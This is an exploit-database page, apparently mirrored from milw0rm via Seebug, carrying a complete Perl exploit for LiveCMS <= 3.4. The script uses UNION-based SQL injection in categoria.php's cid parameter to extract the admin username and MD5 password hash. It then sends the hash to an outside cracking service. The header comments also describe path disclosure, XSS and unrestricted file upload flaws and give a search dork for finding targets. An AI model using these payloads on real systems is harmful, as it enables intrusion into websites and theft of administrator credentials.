Lucene search
K

LiveCMS <= 3.4 (categoria.php cid) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 30 Views

LiveCMS <= 3.4 Remote SQL Injection Exploit. Free CMS system. Absolute Path Disclosure, XSS Injection, Arbitrary File Upload. Details in http://livecms.co

Code

                                                #!/usr/bin/perl
##############################################################################################
#         ___   ___                         _
#        / _ \ / _ \                       | |
#   __ _| | | | | | |_ __  ___   _ __   ___| |_
#  / _` | | | | | | | &#39;_ \/ __| | &#39;_ \ / _ \ __|
# | (_| | |_| | |_| | | | \__ \_| | | |  __/ |_
#  \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
#   __/ |
#  |___/
###############################################################################################
#INFO:
#Program Title ################################################################################
#LiveCMS &#60;= 3.4 SQL Injection, Absolute Path Disclosure, XSS Injection, Arbitrary File Upload
#
#Description ##################################################################################
#This is a free CMS system.
#
#Script Download ##############################################################################
#http://sourceforge.net/project/downloading.php?group_id=78735&use_mirror=ufpr&filename=livecms-3.4.tar.gz&12060460
#http://livecms.com
#
#Original Advisory #############################################################################
#http://www.g00ns-forum.net/showthread.php?t=9350
#
#Exploit #######################################################################################
#credz to Vipsta and Clorox for vulnerability
#[c]ode by TrinTiTTY (2007) www.g00ns.net
#shoutz: z3r0, milf, blackhill, godxcel, murderskillz, katalyst, SyNiCaL, OD, pr0be, rezen, str0ke,
#fish, rey, canuck, c0ma, sick, trin, a59, seven, fury, &#60;S&#62;, Bernard, and everyone else at g00ns.net
#
#Details #######################################################################################                              
#APD: The absolute path is disclosed in a mysql error when categoria.php&#39;s paramater cid is queried with a non-defined
#variable. example: categoria.php?cid=&#39;
#XSS: Article names are not properly santised, a user could insert malicious javascript
#AFU: Articles can have a small image that is uploaded with them, however LiveCMS fails to restrict what file types
#can be uploaded.  A user could upload a malicious script with this method and compromise the server.
#GoogleDork: &#34;powered by livecms&#34;
#
################################################################################################
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#                LiveCMS &#60;= 3.3  [ categoria.php ]               #
#                    ] Remote SQL Injection [                    #
#                                                                #
#              [c]ode by TrinTiTTY [at] g00ns.net                #
#              Vulnerability by Vipsta and Clorox                #
#                                                                #
#                                                                #
#  [irc.g00ns.net]       [www.g00ns.net]        [ts.g00ns.net]   #
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#

use LWP;

$host = @ARGV[0];
$ua = LWP::UserAgent-&#62;new;

my $uject =&#39;categoria.php?cid=1%20UNION%20ALL%20SELECT%201,2,user,4,5,6%20FROM%20live_admin%20WHERE%20userid=1/*&#39;;
my $pject =&#39;categoria.php?cid=1%20UNION%20ALL%20SELECT%201,2,pass,4,5,6%20FROM%20live_admin%20WHERE%20userid=1/*&#39;;

if (@ARGV &#60; 1){&top( );&usage( )}
elsif ($host =~ /http:\/\//){print&#34;\n\n [-] Don&#39;t use http:// in host\n&#34;;exit( 0 );}
else { &getUser( ) }



sub getUser( ) {
  system(&#34;color 4&#34;);
  &top( );
  print &#34;\n [~] Retrieving admin username\n&#34;;
  $nameres = $ua-&#62;get(&#34;http://$host/$uject&#34;);

  $namecon = $nameres-&#62;content;

  if ($namecon =~ /&#60;td&#62;(.*)a href=\&#34;(.*)\&#34;(.*)&#62;(.*)&#60;\/a&#62;&#60;\/td&#62;/gmi)
  {
     $user = $4;
     print &#34;\n [+] Admin user retrieved: $user\n&#34;;
     print &#34;\n [~] Retrieving password for $user\n&#34;;
     getPass( )
  }
  else {
      print &#34;\n [-] Unable to retrieve admin username\n&#34;;
      print &#34;\n [~] Retrieving password\n&#34;;
      getPass( )
  }
}

sub getPass( ) {

  $passres = $ua-&#62;get(&#34;http://$host/$pject&#34;);

  $passCon = $passres-&#62;content;

  if ($passCon =~ /&#60;td&#62;(.*)a href=\&#34;(.*)\&#34;(.*)&#62;([a-f0-9]{32})&#60;\/a&#62;&#60;\/td&#62;/gmi)
  {
     $pass = $4;
     print &#34;\n [+] Admin password retrieved: $pass\n&#34;;
     &resolveHash($pass);
     system(&#34;color 7&#34;);
  }
  else {
      print &#34;\n [-] Unable to retrieve admin password\n&#34;;
      system(&#34;color 7&#34;);
      exit(0);
  }
}

sub resolveHash($)
{
  print &#34;\n [~] Attempting to resolve hash\n&#34;;
  $hashget = LWP::UserAgent-&#62;new;  #thx gdata
  $resp = $hashget-&#62;get(&#34;http://gdataonline.com/qkhash.php?mode=txt&hash=$_[0]&#34;); # checks gdata for hash
  $hashans = $resp-&#62;content;
  if ($hashans =~ m\width=&#34;35%&#34;&#62;&#60;b&#62;([  -_a-z0-9.*?&=;&#60;&#62;/&#34;&#34;]{1,25})&#60;/b&#62;&#60;/td&#62;\){
     $crack = $1;
     print &#34;\n [+] Password hash resolved: $crack\n&#34;;
     system(&#34;color 7&#34;);
     exit(0);
  }
  else {
     print &#34;\n [-] Couldn&#39;t resolve hash\n&#34;;
     system(&#34;color 7&#34;);
     exit(0);
  }
}
sub top( )
{
  print q {
  ##################################################################
  #                LiveCMS &#60;= 3.3  [ categoria.php ]               #
  #                    ] Remote SQL Injection [                    #
  #                                                                #
  #                [c]ode by TrinTiTTY [at] g00ns.net              #
  #                Vulnerability by Vipsta and Clorox              #
  ##################################################################
  }
}
sub usage( )
{
  print &#34;\n Usage: perl livecms33.pl &#60;host&#62;\n&#34;;
  print &#34;\n Example: perl livecms33.pl www.example.com/path\n\n&#34;;
  exit(0);
}

# milw0rm.com [2007-06-20]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation